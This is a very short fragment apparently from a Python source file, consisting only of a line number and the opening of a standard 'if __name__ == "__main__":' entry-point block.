 
457
  if __name__ == "__main__":